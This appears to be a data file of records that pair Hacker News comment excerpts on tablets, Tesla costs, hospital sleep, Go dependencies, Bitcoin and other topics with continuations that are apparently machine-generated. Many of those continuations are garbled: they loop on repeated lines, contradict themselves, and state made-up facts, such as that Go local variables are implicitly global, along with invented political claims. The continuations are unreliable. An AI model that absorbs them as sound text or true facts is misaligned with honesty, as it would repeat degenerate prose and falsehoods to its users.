has an archive of MP3s.\nThis is perfect machine-sent code with long spaces between the characters,\nintended for practice.["} +{"output_text": ", and it's a nice tablet.\n\n------\njdp23\nI'm surprised that the Kindle Fire is still a top seller. Amazon should have\ntaken a more aggressive approach to differentiating it from the Android tablets\n-- perhaps by including a Fire OS-based tablet as a giveaway with some of its\nPrime shipping deals?\n\n~~~\njasonlotito\nI don't know about aggressive, but they did put a big ad on the front page of\nthe Kindle", "input_text": " why Amazon will success where\nothers have failed ([http://martingordon.tumblr.com/post/9049814056/hps-two-\nprobl...](http://martingordon.tumblr.com/post/9049814056/hps-two-problems)):\n\n _There\u2019s a glut of 10\u201d tablets on the market. The iPad dominates the market\nand the ten or so 10\u201d Android tablets do nothing to help HP\u2019s situation there.\n7\u201d tablets are completely different when it comes to portability, there isn\u2019t\nas much competition at this screen size, and Apple has stated that they have\nno intentions to build a 7\u201d tablet (which means that it\u2019s coming, but it\u2019s not\nhere yet and doesn\u2019t have 80-95% market share like the 10\u201d iPad does). A\n$250-$300 7\u201d tablet has the opportunity to give HP a nice foothold into the\nmarket, and once they do, they can go back and fight for 2nd place in the 10\u201d\nmarket. Building 7\u201d marketshare and building consumer mindshare to eliminate\nalso-ran status is the only way HP (or anyone else for that matter) will have\na fighting chance in the tablet space._\n\n~~~\ncwe\nPlayed with a family members new 7\" Galaxy tab this weekend, and as a fellow\niPad owner, I have to admit that 7\" is a nice size. Big enough to be very\ncomfortable for most tablet activities, but more manageable in your hands. If\nthere was a choice between 7\" or 10\" iPads, I bet a lot of people would go for\n7\".\n\n~~~\nrobterrell\nI agree -- I bought a 7\" Galaxy Tab for cheap on Woot"} +{"output_text": " the water in the air being a source of drinking water is\ninteresting.\n\n[https://www.nytimes.com/2016/05/19/world/asia/water-\npolluti...](https://www.nytimes.com/2016/05/19/world/asia/water-pollution-\npollution-drinking-water.html)\n\n> Pollution in drinking water is a major problem in many parts of the world,\n", "input_text": "/Polywater)\n\n[2] [https://www.atlasobscura.com/articles/polywater-the-\nsoviet-s...](https://www.atlasobscura.com/articles/polywater-the-soviet-\nscientific-secret-that-made-the-world-gulp)\n\n~~~\nscruple\nThat Wikipedia article is great. I love the introduction paragraph.\n\n> By 1969 the popular press had taken notice and sparked fears of a \"polywater\n> gap\" in the USA.\n\nI find it illuminating to understand that \"journalists,\" or the \"popular\npress,\" were ratcheting up the \"fear sells\" / fake news bullshit at least as\nfar back as 1969 (and I'm sure it goes back much further). If you were\nignorant, and I certainly am, you would think that this is a wholly new\nphenomenon. I mean, that is what the same \"popular press\" is telling us today,\nright?\n\n~~~\nnjarboe\nThere was even a phrase coined in the 1890's for such journalism; \"Yellow\nJournalism[1]\"\n\nFrom the wikipedia article. Frank Luther Mott (of the same era) on the five\nmain characteristics of yellow journalism:\n\n1\\. Scare headlines in huge print, often of minor news\n\n2\\. Lavish use of pictures, or imaginary drawings\n\n3\\. Use of faked interviews, misleading headlines, pseudoscience, and a parade\nof false learning from so-called experts\n\n4\\. Emphasis on full-color Sunday supplements, usually with comic strips\n\n5\\. Dramatic sympathy with the \"underdog\" against the system.\n\n------\nkaycebasques\nThe bit about"} +{"output_text": ".\n\nTesla is obviously not going to be like Toyota but I think the idea of\nautomation is the future of manufacturing. It's not just about the machines\nbut also the people who operate them.\n\n~~~\ntoomuchtodo\n> _Tesla is obviously not going to be like Toyota but I think the idea of\n> automation is the future of manufacturing._\n\nI disagree. The future of manufacturing is likely to be augmented reality\naugmented", "input_text": " fills the complexity\nhole left by Node/Express. It's a lot faster to code than using APIs. It's\nbeen used by enough people for long enough that all the stability bugs have\nbeen ironed out.\n\n \nTesla Model 3 teardown points to $28k in potential material and production cost - hippich\nhttps://electrek.co/2018/05/31/tesla-model-3-teardow-material-production-cost/\n======\nSomeone\n_\u201dThey claim that their cost analysis resulted in materials and logistics\ncosts of $18,000 and labor costs of $10,000 for a total cost potential cost of\n$28,000.\u201d_\n\nIf a factory worker costs $10,000 a month, that would be a person-month of\nlabor per car, or 4 persons to produce a single car in a week, or 20,000 to\nproduce the 5,000 each week that Tesla aims for.\n\nBecause of that, I doubt that $10,000 labor costs number is correct.\n\nReading the referenced\n[https://www.wiwo.de/technologie/mobilitaet/elektroauto-\nzerle...](https://www.wiwo.de/technologie/mobilitaet/elektroauto-zerlegt-\ntesla-model-3-kann-gewinn-abwerfen/22625806.html), it talks of _production_\nrather than _labor_ costs, so I think my suspicion is right.\n\n~~~\nforkLding\nI have visited the Toyota factory in Ontario, Canada. What stood out to me was\nhow little people was involved, literally everything was automated and the\nonly labour people were doing was testing the cars by driving it"} +{"output_text": "I think this is a bit shortsighted. The Eritrean government is corrupt, but at\nleast they have the courtesy to let their people vote. The Ethiopian government\nis also corrupt, but at least they let their people vote.\n\nThe Eritrean government is the only one that doesn't let their people vote,\nbecause they don't want them to.\n\n~~~\njbooth\nThe Ethiopian government is also corrupt, but at least they", "input_text": " civil rights violations, but it would not repair\nthe economy or necessarily give people more confidence in their government.\n\n~~~\nmistermann\n> Practically speaking, how do you ensure that the new government doesn't\n> become corrupt in a year or two? Or more importantly, how do you restore the\n> people's faith in their government so that they participate?\n\nHere's how I'd do it: pass laws specifically forbidding these actions by\ngovernment officials, the punishment being death. And then when someone\nviolates the law, you kill them. You wouldn't have to do this too many times\nbefore the problem magically disappeared.\n\nI think this would both fix the corruption problem as well as restore faith in\ngovernment.\n\n~~~\ncolumbo\n> Here's how I'd do it: pass laws specifically forbidding these actions by\n> government officials, the punishment being death. And then when someone\n> violates the law, you kill them. You wouldn't have to do this too many times\n> before the problem magically disappeared.\n\nAll that would do is wind up killing a bunch of 3rd party candidates and anti-\nestablishment types. You can't simply place a law and then expect it to be\n100% accurate let alone the people determining guilt be 100% ethical. A\ncorrupt judge could kill a whole lot of people with this type of law.\n\n~~~\nrdl\nMy assertion is that there are different levels of corruption. If EG ended up\nbeing just as corrupt as Nigeria after the eliminating of the current regime,\nit would still be a victory for the people. They might even do better than\nthat.\n\nAnd maybe structurally changing how oil revenues are handled; not allowing any\nnew leader to directly control them for personal benefit.\n\n------\ncryptoz\n"} +{"output_text": ", or at least tone it down. I'd be happy to be yelled at by\nnurses, if they weren't laughing.\n\n~~~\nrco8786\nI'm not sure how to ask. I tried asking nicely and they just ignored me. I\nthink I tried \"can you please keep it down\" but I'm not sure that's right.\n\n~~~\namluto\nI would try \"can you keep it down\" or something similar.\n\n", "input_text": " serve white bread and Jell-O with\nhigh fructose corn syrup and artificial food coloring to people who are barely\nbreathing. Hospital patients need all the nutrition they can get. Providing\nthe equivalent of a frozen dinner or fast food isn\u2019t very responsible.\n\n------\nduxup\nWhen my wife was in the hospital after the birth of both our two kids\n(premature so they weren't in the room with her to care for, they were in the\nNICU).... I chose to go home to sleep as the nurses just came and went\nendlessly. Someone had to get sleep.\n\nThen my oldest son was in the hospital for a while. He was sick so I wasn't\ntoo surprised he was napping all the time until spent a few nights sleeping at\nthe hospital with him and realized he was probabbly napping constantly in the\nday because the nurses would wake him, and me.... constantly all night.\n\nWhen we went home we both crashed and napped a bit and then slept all night...\ni swear he recovered faster after catching up on sleep at home.\n\n~~~\nswsieber\nThere are preliminary results showing that when the NICU dims it's lights\nduring the day and goes even darker at night babies recover faster. 5 weeks\nfaster on average. (That's from \"Why We Sleep\")\n\n~~~\npishpash\nSleep is the best recovery. If everybody got enough sleep there'd be fewer\nsick days, too.\n\n------\nrco8786\nMy wife just finished up a 22 hour labor and is desperately trying to get some\nsleep but the nurses refuse to stop yelling and laughing directly outside of\nher door.\n\nIt\u2019s not even medical. Just rude.\n\n~~~\namluto\nAsk them to stop"} +{"output_text": "wikipedia.org/wiki/Cognitive_behavioral_therapy>\n\nI think the real question is why some kids respond and others don't.\n\nI believe the gut is the most important organ in the body.\n\n~~~\nanamax\n> I believe the real question is why some kids respond and others don't.\n\nWhat do you mean by \"respond\" and \"don't\"?\n\n~~~\npragmatic\nI mean that some kids are completely", "input_text": "autism - read Ben Goldacre for a good discussion -\n.\n\n~~~\nroom606\nI was just about to post that link but you beat me to it. It's more than a\nlittle unfair that Wakefield is being blamed for the MMR scare when the\nmainstream media in the UK did everything they could to fan the flames yet\nremain for the most part innocent\n\n~~~\nanamax\n> when the mainstream media in the UK did everything they could to fan the\n> flames yet remain for the most part innocent\n\nWhat definition of \"innocent\" are we using?\n\nThey may not be liable, but they're not innocent.\n\n~~~\ncarbocation\nFrom my read of your post and that of the parent, the two of you are in\nagreement on that point.\n\n~~~\nroom606\nYes, carbocation is correct, we are in agreement. The mainstream media still\nrefuses to acknowledge their complicity in all of this. When all of this was\ngoing on in the UK, MMR scare stories were front page news but not once did I\nsee a headline on the cover of newspaper proclaiming \"MMR Hoax, Sorry My Bad\"\nsays. As Goldacre says, it's crazy to think that one man created this entire\nmess.\n\n------\npragmatic\nIt would be nice to get back on track looking for the real cause(s) of autism.\n\nOur son was diagnosed and has received intense IBT/ABA therapy (along with\nspech, OT and PT). It has been fantastic. Total turn around.\n\nNo low gluten diet, Jenny McCarthy BS, just Cognitive Behavioral Therapy\nThanks in advance!

Just so you know, I currently work on a project at my company that uses AWS, Codeship and BitBucket for development and production. AWS and Elasticbeanstalk host our application, Codeship runs tests on changes to branches in BitBucket and then pushes the code that passes on certain branches to different AWS environments for Development or Production.\n======\nlastofus\nDoes Docker provide anything useful to someone who develops on OS X and\ndeploys to Linux VMs ("} +{"output_text": "\n\n------\njwilber\nThis is why I love HN. I see a bug and someone has a fix. I open source it and\nthe community builds on it.\n\n------\njwilber\nI'm curious if this is related to the php-fpm memory leak that was recently\ndiscovered: [https://bugs.php.net/bug.php?id=74791](https://bugs.php.net/bug.php?id=", "input_text": "!)\n\n~~~\nwolco\nCentOS isn't marketed as a desktop distro. The listening default is helpful\nand when I switched over to Ubuntu that default of not listening confused me.\nNot sure I see the benefit.. it's like installing windows but the internet is\ndisabled by default and must be configured manually.. installing another\nbrowser and you must configure it manually.\n\n~~~\nDylan16807\nListening on localhost, or a socket, is a reasonable default. Listening to\nnothing is annoying, and listening to everything is a terrible idea.\n\nIf you're spreading one service across multiple servers, you can spare the few\nseconds to open up IPs/ports. The default should keep things moderately secure\non a single host.\n\n------\ncalibas\nShould probably have specified in the title that it's a PHP-FPM bug, had me\nworried there.\n\n~~~\ndang\nOk, we've added that to the title.\n\n------\nsamat\nFor those of you not speaking Russian, Russian for \u2018dick\u2019 & \u2018cunt\u2019 (also\nmeaning \u2018something very bad happening\u2019) are in the title.\n\n~~~\nfortran77\nI'd say it's in Croatian. In Russian, it's \"\u043f\u0438\u0437\u0434\u0430\"\n\n~~~\nowl57\nNo, that's certainly just transliterated Russian:\n[https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6f...](https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6fd3f95bf0710432c01f434b7/requester.go#L75)"} +{"output_text": " If you have a bunch of different Gmail accounts, Google\nknows nothing about any of them.\n\n* The \"don't be evil\" motto.\n\nI'm not sure if this is a motto or not, but it sure seems like a slogan.\n\n* The \"don't be evil\" motto is a slogan.\n\nI'm not sure if this is a motto or not, but it sure seems like a slogan.\n\n* The motto is a slogan", "input_text": " away from some gives more to\nothers. Taking away freedoms of some takes away freedom from all.\"\n\nI wonder how he'd feel after we make murder legal, and then I shoot him in the\nface. Have him see how much freedom he has when he's dead.\n\nMy point is that it's a gray area. It's not all freedom or nothing.\n\n~~~\ngills\nSome might see your analogy as backwards, especially if they view individual\nfreedom as having natural bounds which are easily identifiable to mentally\nstable humans. I have a feeling that's why you were voted down (not by me,\nsorry). An example of this line of reasoning:\n\n\n \n\nGoogle fired engineer for breaking internal privacy policies - cristinacordova\nhttp://techcrunch.com/2010/09/14/google-engineer-spying-fired/\n\n======\nthesethings\nI'm going to temporarily put aside what this guy did (which is really bad, but\npeople with bad intent aren't common), to discuss what this tells us about\nGoogle (which is about The System, and cause for larger concern).\n\nIf anybody from Google can (anonymously if necessary) step in and answer\nquestions, it'd be great.\n\n* Different gmail accounts. Google knows they're all you.\n\nIn the original Gawker story, this caught my eye:\n\n\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"\n\nKeeping separate Gmail accounts is how many protect against \"Google knows\neverything about me.\""} +{"output_text": " made a modular camera.\n\n------\njhallenworld\nI wonder if this will be an open platform for 3rd party SoC's. I'd like to\nhear the specs of the SoC and the software stack.\n\n------\njhallenworld\nWhat about the Nvidia Tegra K1?\n\n------\njhallenworld\nWhat about the Nvidia Tegra K1?\n\n------\njhallenworld\nWhat about", "input_text": "https://en.wikipedia.org/wiki/Modu](https://en.wikipedia.org/wiki/Modu) ) and\napparently Google acquired some of that IP. I wonder if this effort is\nrelated.\n\n------\ncrbelaus\nIt may shound harsh, but why should I want a modular Android phone? To update\nmy hardware over the years to come while still running the same Android\nversion without receiving updates.\n\nGoogle, your Android updating system is fucked up. Fix it first, and then we\ncan talk about exending the life of hardware.\n\n~~~\nclintonb\nLimited updates are more an issue with the carriers than Google.\n\n~~~\nvoltagex_\nI don't think so. I'm still on the May 2016 security patch on a 2015 Moto X\nStyle. No carrier involved - it's an unlocked LTE phone. Updating the existing\nphones doesn't make Lenovo any money so I doubt it will happen.\n\n------\nungzd\nYou can add new camera or bluetooth controller but you can't (sanely) update\nfirmware to latest Android version. Great.\n\n(I mean sanely if it was like installing Windows or Linux and not specific\nbuild for single phone model made from hacks and insane backmerges)\n\n------\nclumsysmurf\nI had high hopes for this, but seeing how fragmentation is harming Android\nwhen the phone is a single integrated device - seems unrealistic they would be\nable to get all these components to play well together among various OEMs.\n\n------\njordache\nThis is my attitude regarding Red camera's lauded modularity.\n\nOk so you can keep your handle and grip, and the little viewfinder. The sum of\nThose useless pieces doesn't mean you've"} +{"output_text": "source projects, but I suppose I'm talking about\nanything where there are lots of local and explicit relationships that could\nbe used to help enforce the semantics of a language.\n\nFor example, in Go, local variables are implicitly global, and the scope of\neach is implicitly determined by where it is declared. This is a good\nproperty, because it means that the semantics of a variable are not dependent\non where it is declared.\n\nHowever, it also means that if I", "input_text": ", loading different versions of the library under the same name to\nprovide to different parts of your code. This has different risks depending on\nhow and when symbols are looked up or linked. In some languages you can end up\nwith the two versions accidentally calling into each other or using each\nother's symbols. In other languages you run into the \"expected Foo but got\nFoo\" type errors mentioned by munificent. That's what happens when you use\nclassloader tricks as a half-assed way of isolating \"components\" in Java.\n\nSecond, loading different versions of the library under different names. This\nrequires hacking the compiled code or the source code; convenience and\nreliability will depend on the quality of the tools you're working with.\nSophistication ranges from using sed to munge source code to using tools like\nobjcopy that can read and rewrite compiled artifacts. Java \"shading\" (not\n\"shadowing\" as I said earlier) relies on rewriting class files.\n\n------\nJeremyBanks\nThis article actually made the issue finally click for me: Go is having\ntrouble solving this problem because it has more going on in the global\nenvironment, like its ancestor languages, and unlike more modern languages.\nThey need to come up with a complicated framework to reign in their spooky\naction at a distance, because they have lots of implicit global relationships\nwhere we might prefer more explicit and local ones.\n\nYikes.\n\n~~~\nithkuil\n> where we might prefer more explicit and local ones.\n\ncould you expand on this? who is \"we\" and what are those explicit and local\nrelationships? are you talking about an opensource ecosystem or a private\nenterprise?\n\n~~~\nJeremyBanks\nIn this case I mean open-"} +{"output_text": "/mythz/clojure-linq-\nexamples](https://github.com/mythz/clojure-linq-examples)\n\n\\- JavaScript [https://github.com/mythz/javascript-\nlinq-examples](https://github.com/mythz/javascript-linq-examples)\n\n\\- C# [https://github.com/mythz/c-sharp-linq-\nexamples](", "input_text": " with a babel based\ntool.\n\nEarlier, I wrote a tool called chimpanzee[1] to parse such ASTs into SQL. Not\neasy (but not too hard either); there are so many different ways to express\nsomething in JS. Here's an example (using chimpanzee) which checks if an\nexpression is doing a sort (on an array/table) and to extract sort fields and\norder. [https://github.com/jeswin-unmaintained/isotropy-ast-\nanalyzer...](https://github.com/jeswin-unmaintained/isotropy-ast-analyzer-\ndb/blob/master/src/schemas/sort.js)\n\n[1] chimpanzee:\n[https://github.com/jeswin/chimpanzee](https://github.com/jeswin/chimpanzee)\n\n------\nmythz\nAs LINQ has been positioned as one of C#/.NET's biggest strengths their 101\nLINQ Examples are a nice set of simple code examples to compare how well\ndifferent languages fare against each other:\n\n\\- Swift [https://github.com/mythz/swift-linq-\nexamples](https://github.com/mythz/swift-linq-examples)\n\n\\- Kotlin [https://github.com/mythz/kotlin-linq-\nexamples](https://github.com/mythz/kotlin-linq-examples)\n\n\\- Java [https://github.com/mythz/java-linq-\nexamples](https://github.com/mythz/java-linq-examples) (Java 1.7)\n\n\\- Clojure [https://github.com"} +{"output_text": " I'm not sure why this is a good idea. I think it's a little too\ncontroversial.\n\n~~~\nmilesokeefe\n1\\. Agreed\n\n2\\. I think you're right. It's not a big deal, but I think it would help.\n\n3\\. Agreed.\n\n4\\. Agree.\n\n5\\. I like it.\n\n6\\. Agreed.\n\n7\\. I think it's a good", "input_text": " on a whim, so having a strict, default third party is essential.\n\n[1] \n\n------\nbobrenjc93\nI would like more users to register my side project\n(), but I can't seem to convert anyone who visits\nthe project site. At this point, I think I would pay for some service that\ngives me honest feedback on my landing page and maybe suggest ways to improve\nconversion rates.\n\n~~~\nmilesokeefe\nA few suggestions:\n\n1\\. Increase the padding on nearly all the divs; the text is too close to the\nborders.\n\n2\\. Remove the \"Confirm Password\" field. IMO the risk that the few people who\nmistype their password will never return is worth making it easier for the\nrest.\n\n3\\. The video could be shorter. You don't need the 4 second title before the\nvideo starts, and the simulation of the signup process takes too long and is\nboring to watch. Edit the video so that the text fields are filled in as\nquickly as the viewer can see them filled in, not as fast as it actually\ntakes.\n\n4\\. Consider adding a few bullet points outlining the benefits of being able\nto track users' mouse movements.\n\n5\\. A unique icon would be nice.\n\n6\\. Make the \"Sign Up\" button a unique color so that it stands out.\n\n~~~\nKluny\n1\\. Agreed\n\n2\\. Meh, doesn't matter\n\n3\\. Yes\n\n4\\. Agree, I signed up and am intrigued, but still not totally clear on what\nit does.\n\n5 and 6. Sure.\n\n7\\."} +{"output_text": " number.\n\n~~~\nmikeash\nI have numbers I can\u2019t remember, but I can usually call any of them and get\nservice. I can\u2019t call my ex\u2019s number anymore, though, because it was in the\npast and now it\u2019s a different number.\n\n~~~\nryan_j_naughton\nMy point is that the number is not part of my current experience.\n\n------\njoe_the_user\nThe", "input_text": "al like 10%. Not just pull the trigger and shoot but shoot and shoot at\nthe enemy.\n\nA program was developed by the US military to train soldiers to shoot on\ncommand. On the shooting range a target popped up the soldier shot it and when\nhe hit it the target would fall. stimulus: target appears, response: shoot the\ntarget, reward: target falls, satisfaction. It got to the point where there\nwas no thought it was instinct, or muscle memory.\n\nI see now it is called \"Operant conditioning\". In the Wikipedia post about\noperant conditioning citations mention some of what I am talking about.\nWikipedia isn't where I originally read about it I read about was probably 10\nor 15 years ago?\n\n[https://en.wikipedia.org/wiki/Operant_conditioning](https://en.wikipedia.org/wiki/Operant_conditioning)\n\nKorea and especially Vietnam (better weapons?) saw the amount of solider\nshooting the enemy go up significantly.\n\nI'm not sure if the rotary phone vs touch tone was in that same article or if\nI'm mixing it up with another article.\n\n------\nryan_j_naughton\nThere is a bizarre consequence that you have to remember all the phone numbers\nyou want to dial or keep a paper contact book with you as well.\n\nRelatedly, how many of you remember a bunch of phone numbers from your\nchildhood. I can recite my best friend's home phone number, my home phone\nnumber from childhood, my dad's old office number, and my mom's cell number -\ndespite all but 1 of those numbers having not been valid for 16 years.\n\nYet ask me to recite any phone number from when I got a cell phone onwards and\nI only know my own"} +{"output_text": "unsupervised' translation is to have two languages that\ndon't share any words, or at least don't have a lot of words in common.\n\n~~~\nsreque\nI think this is correct. The authors state the following:\n\n> In this work, we focus on unsupervised MT, where the source and target\n> languages do not share any words, and thus cannot be aligned. We train a\n> single model that can translate any source language sentence into any", "input_text": " how much can be surfaced right inside\nVisual Studio. (A separate team maintains our actual instance, thank god.)\n\nThe true pain as a developer comes from the poorly thought out UI which makes\nevery little task click heavy. To make things worse, the UI is poorly threaded\nand seems to prefetch nothing. This means that drilling down into any area,\nespecially the source control view leaves you waiting 1-3 seconds per item you\nexpand.\n\nThere's also some weird usability holes, like why after 5+ years is undo\nunchanged a command still only found in the optional power tools utility?\n\n~~~\ndarklajid\nRight, the UI seems like you're doing work in access and every click opens\nanother tab. Some features are 'nice' (link to workitems etc.), but you have\ndialogs with tabs with tabcontrols with gazillion other controls and.. yeah.\nYou don't want to use that, basically.\n\n \nUnsupervised Machine Translation Using Monolingual Corpora Only [pdf] - stablemap\nhttps://arxiv.org/abs/1711.00043\n======\nmabbo\nNeat! If I'm reading this right (smarter people please correct me if I'm\nwrong), the process they used is:\n\n1- Train a system that translates language A sentences into a representation\nspace, and can translate back from that space.\n\n2- Train a second system that does the same, but with language B, onto the\nsame representation space.\n\n3- Train an adversarial system that tries to look at the representation space\nand identify which language the sentence came from, retraining the language\ntranslation systems to try to fool that recognizer. Retrain the models to try\nto not be recognized by this third system.\n\nThe best way to '"} +{"output_text": " it.\n\nNow, it's a bit too late to be a fanboy, and it's a bit too early to be a\ncritic.\n\n------\njondubois\nI think the author is making a mistake by focusing on the front-end.\n\nThe backend is the most important part of a software product.\n\nThe front-end is just a GUI.\n\nThe backend is the data. It's the most important asset of a company.", "input_text": " engine in everything today...\n\n------\ncarsongross\nMoney quote from the article:\n\n _The new admin would make a return to more classic architecture with some\nmodernizations. Our approach would be ERB views and server-side rendering,\nwith the use of Turbolinks, and a lightweight custom JavaScript binding\nsystem. This allowed us to tackle problems of code duplication and developer\nproductivity in a single blow._\n\nAs always, the devil is in the details and I'm looking forward to seeing what\ntheir JS binding system looks like, but the pendulum appears to be swinging\nback towards server-side rendering and models, even amongst the cool kids.\n\nI have been working on a small library for doing HTML partial AJAX\nprogramming, using fairly straight-forward HTML attributes and traditional\nserver side rendering (plus some goodies like custom HTTP header support,\ntimers, etc.):\n\n[http://intercoolerjs.org](http://intercoolerjs.org)\n\nI'm using it successfully in a few projects and very much enjoy the simplicity\nof the whole approach when contrasted with full MVC systems.\n\n~~~\ntericho\nCan we please drop the \"cool kids\" cliche? It's a tired generalization.\n\nClearly at this point both architectures work, it's childish to see this as an\nargument for server-side rendering. Obviously it works, so do client MVC\nsystems.\n\nThe value in this article is the humble detailing of their mistakes that many\nof us also experience in our careers.\n\n~~~\nmatthewmacleod\nI think part of that is a reaction to how many people jumped on to the client-\nside JS framework bandwagon very early, because it was \"the next big thing\",\nbut before the tools were ready for"} +{"output_text": " author's approach of \"pitching\" is not only ridiculous, but\npatently unethical.\n\n------\nnroach\nI think the author's approach is a bit like the \"lever principle\" in physics.\nIt's not that the ball will move if you push on it from the side, it's that\nthe ball will move if you push on it from the side.\n\nThe problem with the approach the author describes is that it's not clear\nwhether", "input_text": "\n\nPut a price on it. Makes you realize when you are just being a little bitch.\n\n------\ncodeslush\n\"I didn\u2019t get the first phone number I asked for, nor the second. In fact, the\nfirst number probably came somewhere between tries five and ten.\"\n\nThis applies to so many different areas of life that it should just be made a\nrule, if it isn't already.\n\n------\nFreshCode\ngetting good at \"game\" has led to improvements in almost every other aspect of\nmy life, including pitching.\n\n~~~\nbrk\nFunny. I have recommended 'The Game' by Neil Strauss to more than one person\nfor reasons beyond just meeting women. Learning how to start and manage a\nconversation are powerful tools.\n\n~~~\nFreshCode\nI wonder how many \"hacker players\" hang out on HN? :)\n\n------\nmittermayr\nit's a tough thing to accept, but you outlined it pretty well. most things\ndon't just happen. nobody believes it's the time, place, moment and right\nperson to \"risk\" being declined, ignored or laughed at. and that's so wrong.\npeople who succeed, typically, tend to be a bit more open than others.\neverything else is an excuse to hope for pure chance or being discovered. and\nin all reality, try it with beers, go to a bar, hit on a random girl, just to\nget started again. it will be really, really tough at first.\n\n------\naneth\nI agree overcoming \"approach anxiety\" is key to just about any goal that\nrequires someone else to be attracted to you in one way or another - dating,\ninvesting, friendship, ordering a drink in a crowded bar,....\n\nHowever, the"} +{"output_text": "ant of intolerance\" or who believe that\nabortion should be illegal.\n\n~~~\nnonsylabs\nThe set of all people who say \"I'm only intolerant of intolerance\" or who\nbelieve that abortion should be illegal is not a set of people who are\n\"ill-defined\".\n\n~~~\nlexcorvus\nIt's a subset of the set of people who are intolerant of intolerance.\n\n------\nmatt_wulfeck\n", "input_text": " more responsible in their recruitment process...\n\nAgain, if the world just stop fighting wars, there would be no wars.\n\nBut really, I don't see how that is an implementable solution. How are you\ngoing to implement something like that? How are you going to implement \"world-\nstop-fighting-wars\"? How are you going to implement \"everyone-is-more-\nresponsible-when-recruiting\"?\n\n------\nl33tbro\nMy stock retort always is \"Well, I find your narrow-mindedness offensive\".\nQuestions, logical and calmly asked, also swiftly dismantle those flapping on\nabout misplaced social concerns.\n\nAlmost feel sorry for them, like these views are thinly-veiled insecurities\nabout some aspect of themselves or trauma experienced.\n\n------\nsremani\nThe Intolerance of the those crusading against Intolerance is funny until it\nis not.\n\n~~~\nlexcorvus\nIt's also a lie. Try engaging the \"I'm only intolerant of intolerance\" crowd\non, say, climate change, abortion, or the death penalty. It takes tortuous\nlogical contortions to frame any of these issues in terms of \"intolerance,\"\nand yet you'll likely be met with vitriol nonetheless.\n\n~~~\nnonsenselies\nIt's even more dishonest to take all of the opinions held by individuals of\nsome ill-defined cohort, and pretend that any inconsistencies between\ndifferent individuals means that all members of the group are irrational and\nshould be ignored.\n\n~~~\nlexcorvus\n_ill-defined cohort_\n\nThe group I mentioned is precisely defined, and 100% opt-in\u2014it's the set of\nall people who say \"I'm only intoler"} +{"output_text": "-letter-linux-users-file-complaint-microsoft\n======\njdp23\nThe letter is here: [http://tricomm.eu/press/press-release/tricomm-files-\ncomplaint-...](http://tricomm.eu/press/press-release/tricomm-files-complaint-\nagainst-microsoft-at-e.html)\n\n------\njdp23\nThe full text of the complaint", "input_text": " in 24 hours type rubbish).\n\n------\nvkaku\nMy personal advice is that while learning CS is helpful but University degrees\nare expensive and may not give you a ROI.\n\nThe right course taught by the right person and learnt the right way will. And\noften, I found that some MOOCs have a way better structure and content than\nthe ones I was taught in my University back in the day.\n\nI'd suggest going through them and strengthening your concepts yourself - and\nif you feel all you need is a degree (or) a course that offers you far better\ndiscipline, then go for it.\n\n------\nseanwilson\n> I have, however invested a lot of time learning higher math and advanced\n> computer science topics on my own and I\u2019d like to get a degree, but the idea\n> of having to spending all the time and money going through undergraduate\n> prerequisites feels like a waste for me.\n\nIf you know you can learn it yourself and you've got this far without a\ndegree, why do you want one?\n\n~~~\nIloveHN84\nHigher salary?\n\n~~~\nseanwilson\nGenuine question but after 15 years working experience when is a degree going\nto make a difference when looking to get hired? Does it even make a difference\nafter a couple of years of experience?\n\n------\nbjourne\nYou do not need to be present in class a whole lot in most CS curricula. You\ncan do exercises and homeworks on your own and only need to be present for\nexams and presentations.\n\n \nLinux users file EU complaint against Microsoft - recoiledsnake\nhttp://www.globalpost.com/dispatch/news/thomson-reuters/130326/exclusive-open"} +{"output_text": "wiki/Donation_of_Constantine](https://en.wikipedia.org/wiki/Donation_of_Constantine)\n\n~~~\nomalleyt\nI'm not sure how you're reading the Donation of Constantine.\n\n~~~\nbenbreen\nWell, I'm not sure how you're reading the article, but I'll try to summarize\nsome of what's going on. The author is arguing that the story of Germanicus\nbeing poisoned by", "input_text": " the Pompey early in the Civil War, and\nwas one of Caesar's chief opponents during his African campaign.\n\nAs an interesting note, it seems Labienus likely defected from Caesar for two\nreasons:\n\n1\\. At the beginning of the Civil War it looked extremely unlikely Caesar\nwould win.\n\n2\\. Labienus felt as though Caesar took more credit than he ought to have in\nthe Gallic Wars, depriving him of his \"auctoritas\" (sort of prestige) he felt\nhe rightfully deserved.\n\nCaesar's skilled defeat of Pompey and Labienus show his military skill outside\nof his use of good commanders.\n\n~~~\nfapjacks\nI hope you see this after all this time. Do you have a trailhead to lend me so\nI can read about this instance of not having to leave his tent to give\ncommands? I have never heard this before and it's very interesting to me.\n\n------\nomalleyt\nIt's a symptom of postmodernism that nowhere in this text is it even suggested\nthat Tacitus is maybe just, you know, relating the facts about Germancius as\naccurately as he can.\n\nInstead we're sitting here quibbling over what literary fiction trope\n\"Tacitus's Germanicus\" fulfills in his \"story\"\n\n~~~\nbenbreen\nReading texts critically, thinking about the context that produced them, and\ndebating the author's rhetorical strategies has a lot more to do with\nRenaissance humanism than with postmodernism. Simply reading all historical\ntexts with the expectation that the author meant to tell the facts and nothing\nbut leads to the acceptance of frauds like the Donation of Constantine:\n\n[https://en.wikipedia.org/"} +{"output_text": " that Bitcoin is becoming more attractive for use as a tool for\nlunch. That's true, but it's also true of any other currency. It's just that\nwhen you're buying lunch with Bitcoin, you're also buying lunch with dollars,\npengoes, yen, etc. The volatility of those other currencies is also decreasing\nas well.\n\n3) The article says that Bitcoin's volatility is driven by the \"price of\nmining\". That's true, but", "input_text": "com/essay/2016/06/26/Rokos_DAO.html)\n\n~~~\ndsr_\nIf an AI can run on a universal Turing machine, then it can run on a Turing-\nequivalent platform like ether.\n\nThat doesn't make it a good or economical idea.\n\n~~~\nubernostrum\nOn the contrary, it's a great solution for AI risk: run the AI on a\nblockchain, and hackers will find plenty of ways to disable it if it starts to\nget out of hand.\n\n------\njavajosh\nA carbon tax on miners could slow down this singularity.\n\n------\nfpgaminer\nSoftware is eating the world.\n\nThose who think a digital currency of some kind _won't_ displace cash are\ngoing to be made fools.\n\nAbout the article... there are a lot of questions here.\n\nI guess the main thrust of the article is that Bitcoin's volatility is\ndeclining, and thus it is becoming more attractive for use as a tool for\nbuying lunch (where lunch is a stand-in for common day-to-day transactions).\nThat hinges on the idea that Bitcoin wasn't attractive for that purpose\nbefore, because its value was too volatile.\n\n1) The graph the article uses to demonstrate that Bitcoin is becoming less\nvolatile seems to indicate, to me, that Bitcoin is just as volatile as it ever\nwas. If 